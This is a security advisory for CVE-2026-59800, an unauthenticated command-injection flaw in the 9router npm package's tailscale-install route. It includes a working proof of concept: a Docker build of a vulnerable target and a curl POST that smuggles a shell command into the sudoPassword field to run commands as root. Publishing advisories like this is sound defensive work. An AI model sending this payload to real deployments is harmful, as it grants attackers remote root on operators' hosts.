---
id: CVE-2026-59800
aliases:
  - GHSA-g6g7-pvmx-m74p
title: '9router: Missing Authorization and OS Command Injection'
summary: '9router: Missing Authorization and OS Command Injection'
severity: critical
cwe:
  - CWE-78
  - CWE-862
vendor: 9router
product: 9router
ecosystem: npm
affected:
  - 9router < 0.4.44
patched:
  - 9router 0.4.44
published: '2026-07-02'
updated: '2026-07-07'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-g6g7-pvmx-m74p'
references:
  - url: 'https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p'
  - url: 'https://github.com/decolua/9router/releases?q=0.4.44&expanded=true'
  - url: 'https://github.com/advisories/GHSA-g6g7-pvmx-m74p'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-08T12:59:18.430Z'
epss: 0.02043
epssPercentile: 0.80312
---

## Overview

# Unauthenticated RCE via `/api/tunnel/tailscale-install`

**Affected:** `9router` (npm package) — current master (`v0.4.39`).

### Summary

`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.

### Details

#### 1. Middleware matcher (`src/proxy.js:3-15`)

```js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};
```

Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.

#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)

```js
export async function POST(request) {
  const body = await request.json().catch(() => ({}));
  ...
  const sudoPassword =
    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
  ...
  const result = await installTailscale(sudoPassword, shortId, (msg) => {
    send("progress", { message: msg });
  });
  ...
}
```

`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.

#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)

```js
async function installTailscaleLinux(sudoPassword, log) {
  log("Downloading install script...");
  return new Promise((resolve, reject) => {
    const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
    let scriptContent = "";
    curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
    curlChild.on("exit", (code) => {
      if (code !== 0) return reject(...);
      log("Running install script...");
      const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
      ...
      child.stdin.write(`${sudoPassword}\n`);   //  ← from request body
      child.stdin.write(scriptContent);
      child.stdin.end();
    });
  });
}
```

The byte stream sent to the stdin of the `sudo -S sh` child process is:

```
<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>
```

When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:

1. The `sudoPassword` value from the request — interpreted as the first shell command.
2. The `install.sh` body — interpreted as subsequent shell input.

Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.

Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path.

### PoC

The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.

**Step 1 — build the target image**

```sh
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
        sudo curl ca-certificates \
    && rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF
```

**Step 2 — start the target**

```sh
docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
    9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done
```

**Step 3 — exploit (one unauthenticated POST)**

```sh
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
     -H 'Content-Type: application/json' \
     -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
```

**Step 4 — verify**

```sh
docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)
```

The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.

### Impact

**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).

**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:

| Configuration | Example | Outcome |
|---|---|---|
| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |
| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold |
| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |

## Affected packages

- `9router < 0.4.44`

## Remediation

Upgrade to a patched release:

- `9router 0.4.44`
